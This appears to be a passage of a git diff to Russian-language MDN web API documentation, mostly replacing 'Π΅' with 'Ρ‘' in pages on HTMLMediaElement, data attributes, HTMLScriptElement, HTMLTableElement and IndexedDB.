+ <p>Для свойства mozFrameBufferLength ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ установлСно Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΎΠΉ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ, Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΎΠ±ΡŠΡ‘ΠΌΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ‚. Π”. Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ числом ΠΎΡ‚ 512 Π΄ΠΎ 16384. ИспользованиС любого Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ возникновСнию ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ. Π›ΡƒΡ‡ΡˆΠ΅Π΅ врСмя для установки Π½ΠΎΠ²ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹ - послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сработало событиС Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΠ³Π΄Π° извСстна аудиоинформация, Π½ΠΎ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π°ΡƒΠ΄ΠΈΠΎ Π½Π°Ρ‡Π°Π»ΠΎΡΡŒ, ΠΈΠ»ΠΈ события MozAudioAvailable Π½Π°Ρ‡Π°Π»ΠΈ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ.</p>
</dd>
<dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ число, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ количСство сСмплов Π² сСкунду, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ воспроизвСдСны. НапримСр, 44100 Π²Ρ‹Π±ΠΎΡ€ΠΎΠΊ Π² сСкунду - это частота дискрСтизации, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ Π°ΡƒΠ΄ΠΈΠΎ CD.</dd>
<dt>{{domxref("HTMLMediaElement.muted")}}</dt>
- <dd>{{Jsxref ('Boolean')}}, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ Π»ΠΈ Π·Π²ΡƒΠΊ. true, Ссли Π·Π²ΡƒΠΊ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½, ΠΈ false Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС.</dd>
+ <dd>{{Jsxref ('Boolean')}}, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ, ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π»ΠΈ Π·Π²ΡƒΠΊ. true, Ссли Π·Π²ΡƒΠΊ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½, ΠΈ false Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС.</dd>
<dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ unsigned short (пСрСчислСниС), ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ состояниС Π²Ρ‹Π±ΠΎΡ€ΠΊΠΈ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° ΠΏΠΎ сСти.</dd>
<dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt>
@@ -100,7 +100,7 @@ translation_of: Web/API/HTMLMediaElement
<dt>{{domxref("HTMLMediaElement.src")}}</dt>
<dd>Π­Ρ‚ΠΎ {{domxref ("DOMString")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ HTML {{htmlattrxref ("src", "video")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит URL-адрСс ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΌΠ΅Π΄ΠΈΠ°-рСсурса.</dd>
<dt>{{domxref("HTMLMediaElement.srcObject")}}</dt>
- <dd>{{Domxref ('MediaStream')}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ» для воспроизвСдСния ΠΈΠ»ΠΈ воспроизвСдСнный Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ HTMLMediaElement, ΠΈΠ»ΠΈ null, Ссли Π½Π΅ Π½Π°Π·Π½Π°Ρ‡Π΅Π½.</dd>
+ <dd>{{Domxref ('MediaStream')}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ΅Π΄ΠΈΠ°Ρ„Π°ΠΉΠ» для воспроизвСдСния ΠΈΠ»ΠΈ воспроизвСдённый Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ HTMLMediaElement, ΠΈΠ»ΠΈ null, Ссли Π½Π΅ Π½Π°Π·Π½Π°Ρ‡Π΅Π½.</dd>
<dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ список ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² {{domxref ("TextTrack")}}, содСрТащихся Π² элСмСнтС.</dd>
<dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt>
@@ -124,7 +124,7 @@ translation_of: Web/API/HTMLMediaElement
<h2 id="Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅_Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹</h2>
-<p>Π­Ρ‚ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ устарСли ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Π΄Π°ΠΆΠ΅ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всС Π΅Ρ‰Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈΡ….</p>
+<p>Π­Ρ‚ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ устарСли ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Π΄Π°ΠΆΠ΅ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всС Π΅Ρ‰Ρ‘ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈΡ….</p>
<dl>
<dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt>
@@ -177,7 +177,7 @@ translation_of: Web/API/HTMLMediaElement
<h2 id="Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅_ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
-<p>Π­Ρ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ устарСли ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Π΄Π°ΠΆΠ΅ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всС Π΅Ρ‰Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈΡ….</p>
+<p>Π­Ρ‚ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ устарСли ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ, Π΄Π°ΠΆΠ΅ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всС Π΅Ρ‰Ρ‘ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΈΡ….</p>
<dl>
<dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
@@ -186,7 +186,7 @@ translation_of: Web/API/HTMLMediaElement
<h2 id="Бобытия">Бобытия </h2>
-<p><em>НаслСдуСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΡ‚ своСго родитСля {{domxref ("HTMLElement")}}, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π² миксинС {{domxref ('GlobalEventHandlers')}}. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Π°ΠΉΡ‚Π΅ эти события, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ addEventListener () ΠΈΠ»ΠΈ Π½Π°Π·Π½Π°Ρ‡ΠΈΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий свойству oneventname этого интСрфСйса.</em></p>
+<p><em>НаслСдуСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΡ‚ своСго родитСля {{domxref ("HTMLElement")}}, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² миксинС {{domxref ('GlobalEventHandlers')}}. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Π°ΠΉΡ‚Π΅ эти события, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ addEventListener () ΠΈΠ»ΠΈ Π½Π°Π·Π½Π°Ρ‡ΠΈΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий свойству oneventname этого интСрфСйса.</em></p>
<dl>
<dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt>
diff --git a/files/ru/web/api/htmlmediaelement/seeking_event/index.html b/files/ru/web/api/htmlmediaelement/seeking_event/index.html
index 145c72b01b..10c8052325 100644
--- a/files/ru/web/api/htmlmediaelement/seeking_event/index.html
+++ b/files/ru/web/api/htmlmediaelement/seeking_event/index.html
@@ -4,7 +4,7 @@ slug: Web/API/HTMLMediaElement/seeking_event
translation_of: Web/API/HTMLMediaElement/seeking_event
original_slug: Web/HTML/Element/video/seeking_event
---
-<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ 'seeking' Π² случаС, ΠΊΠΎΠ³Π΄Π° ΠΈΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠ·ΠΊΠ° Π²ΠΈΠ΄Π΅ΠΎ</p>
+<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ 'seeking' Π² случаС, ΠΊΠΎΠ³Π΄Π° ΠΈΠ΄Ρ‘Ρ‚ ΠΏΠΎΠ΄Π³Ρ€ΡƒΠ·ΠΊΠ° Π²ΠΈΠ΄Π΅ΠΎ</p>
<h2 id="General_info">General info</h2>
diff --git a/files/ru/web/api/htmlorforeignelement/dataset/index.html b/files/ru/web/api/htmlorforeignelement/dataset/index.html
index f69b78492a..2fc2e821ec 100644
--- a/files/ru/web/api/htmlorforeignelement/dataset/index.html
+++ b/files/ru/web/api/htmlorforeignelement/dataset/index.html
@@ -9,10 +9,10 @@ original_slug: Web/API/HTMLElement/dataset
<p>Бвойство <code><strong>HTMLElement.dataset</strong></code> прСдоставляСт доступ ΠΊΠ°ΠΊ для чтСния, Ρ‚Π°ΠΊ ΠΈ для измСнСния всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… Π΄Π°Ρ‚Π°-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">custom data attributes</a> (<code>data-*</code>) , установлСнных Ρƒ элСмСнта.Β Π­Ρ‚ΠΎΒ <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, ΠΎΠ΄Π½Π° запись для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π΄Π°Π½Π½Ρ‹Ρ….Β ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, свойство <code><strong>dataset</strong></code> доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния. Для записи Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Β Π΅Π³ΠΎ "свойства", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСдставлСны data-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ. Π’Π°ΠΊΠΆΠ΅ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ HTML <code><strong>data-</strong></code><em>Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</em>Β ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π΅ΠΌΡƒ DOM-<code>dataset.</code><em>property</em>Β Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя, Π½ΠΎ ΠΎΠ½ΠΈ всСгда ΠΏΠΎΡ…ΠΎΠΆΠΈ:</p>
<ul>
- <li>Имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π΄Π°Ρ‚Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² HTML начинаСтся с "<code>data-</code>". Оно ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ·Β Π±ΡƒΠΊΠ², цифр и символов: дСфис-минус (<code>-</code>, <code>U+002D</code>), Ρ‚ΠΎΡ‡ΠΊΠ°Β (<code>.</code>), Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ (<code>:</code>), ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ (<code>_</code>). Имя НЕ ΠœΠžΠ–Π•Π’ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π·Π°Π³Π»Π°Π²Π½Ρ‹Π΅ Π±ΡƒΠΊΠ²Ρ‹.</li>
+ <li>Имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π΄Π°Ρ‚Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² HTML начинаСтся с "<code>data-</code>". Оно ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ·Β Π±ΡƒΠΊΠ², цифр и символов: дСфис-минус (<code>-</code>, <code>U+002D</code>), Ρ‚ΠΎΡ‡ΠΊΠ°Β (<code>.</code>), Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ (<code>:</code>), ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ (<code>_</code>). Имя НЕ ΠœΠžΠ–Π•Π’ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π·Π°Π³Π»Π°Π²Π½Ρ‹Π΅ Π±ΡƒΠΊΠ²Ρ‹.</li>
<li>Имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π΄Π°Ρ‚Π°-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² Javascript β€” это имя Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² HTML, Π½ΠΎ с использованиСм Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ camelCase ΠΈ Π±Π΅Π· дСфисов, Ρ‚ΠΎΡ‡Π΅ΠΊ ΠΈ Ρ‚.Π΄.<br>
<br>
- Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ руководство ΠΏΠΎ использованию HTML data-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">ИспользованиС data-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</a>.</li>
+ Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π½ΠΈΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ руководство ΠΏΠΎ использованию HTML data-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">ИспользованиС data-Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²</a>.</li>
</ul>
<h3 id="ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅_ΠΈΠΌΡ‘Π½">ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠΌΡ‘Π½</h3>
diff --git a/files/ru/web/api/htmlorforeignelement/nonce/index.html b/files/ru/web/api/htmlorforeignelement/nonce/index.html
index 497dd8a6be..6d03c7529c 100644
--- a/files/ru/web/api/htmlorforeignelement/nonce/index.html
+++ b/files/ru/web/api/htmlorforeignelement/nonce/index.html
@@ -39,7 +39,7 @@ HTMLElement.nonce = <em>nonce</em></pre>
<h2 id="Browser_Compatibility">Browser Compatibility</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос.</div>
<p>{{Compat("api.HTMLElement.nonce")}}</p>
</div>
diff --git a/files/ru/web/api/htmlscriptelement/index.html b/files/ru/web/api/htmlscriptelement/index.html
index 82372ff2d2..3d822139d4 100644
--- a/files/ru/web/api/htmlscriptelement/index.html
+++ b/files/ru/web/api/htmlscriptelement/index.html
@@ -32,7 +32,7 @@ translation_of: Web/API/HTMLScriptElement
<tr>
<td><code id="src_property">src</code></td>
<td>{{domxref("DOMString")}}</td>
- <td>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈ ΠΎΡ‚Π΄Π°Π΅Ρ‚ URL внСшнСго скрипта. Он ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("src","script")}}.</td>
+ <td>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈ ΠΎΡ‚Π΄Π°Ρ‘Ρ‚ URL внСшнСго скрипта. Он ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("src","script")}}.</td>
</tr>
<tr>
<td><code id="event_property">event</code>{{obsolete_inline}}</td>
diff --git a/files/ru/web/api/htmltableelement/index.html b/files/ru/web/api/htmltableelement/index.html
index fd23c972b7..cfadd4d95d 100644
--- a/files/ru/web/api/htmltableelement/index.html
+++ b/files/ru/web/api/htmltableelement/index.html
@@ -59,15 +59,15 @@ translation_of: Web/API/HTMLTableElement
<dl>
<dt><a href="/ru/docs/DOM/table.createTHead">table.createTHead</a></dt>
- <dd><strong>createTHead</strong> создаСт header Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
+ <dd><strong>createTHead</strong> создаёт header Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
<dt><a href="/ru/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt>
<dd><strong>deleteTHead</strong> удаляСт header Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
<dt><a href="/ru/docs/DOM/table.createTFoot">table.createTFoot</a></dt>
- <dd><strong>createTFoot</strong> создаСт footer Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
+ <dd><strong>createTFoot</strong> создаёт footer Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
<dt><a href="/ru/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
<dd><strong>deleteTFoot</strong> удаляСт footer Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
<dt><a href="/ru/docs/DOM/table.createCaption">table.createCaption</a></dt>
- <dd><strong>createCaption</strong> создаСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
+ <dd><strong>createCaption</strong> создаёт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
<dt><a href="/ru/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt>
<dd><strong>deleteCaption</strong> удаляСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</dd>
<dt><a href="/ru/docs/DOM/table.insertRow">table.insertRow</a></dt>
diff --git a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
index 631575d0cc..20cfec2417 100644
--- a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
+++ b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
@@ -25,11 +25,11 @@ translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
<h2 id="ΠžΠ±Π·ΠΎΡ€_IndexedDB">ΠžΠ±Π·ΠΎΡ€Β IndexedDB</h2>
-<p>IndexedDB позволяСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, проиндСксированныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ "ΠΊΠ»ΡŽΡ‡Π°". ВсС манипуляции Π½Π°Π΄ Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ… происходят ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ. Как ΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ для web-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, IndexedDB слСдуСт <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ сохранСнным Π΄Π°Π½Π½Ρ‹ΠΌΒ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π΄ΠΎΠΌΠ΅Π½Π° ΠΌΠΎΠΆΠ½ΠΎ,Β Ρ‚ΠΎ Π²Π½Π΅ Π΅Π³ΠΎΒ - Π½Π΅Ρ‚.</p>
+<p>IndexedDB позволяСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΠΈ ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, проиндСксированныС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ "ΠΊΠ»ΡŽΡ‡Π°". ВсС манипуляции Π½Π°Π΄ Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ… происходят ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ. Как ΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ для web-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, IndexedDB слСдуСт <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ сохранённым Π΄Π°Π½Π½Ρ‹ΠΌΒ Π² 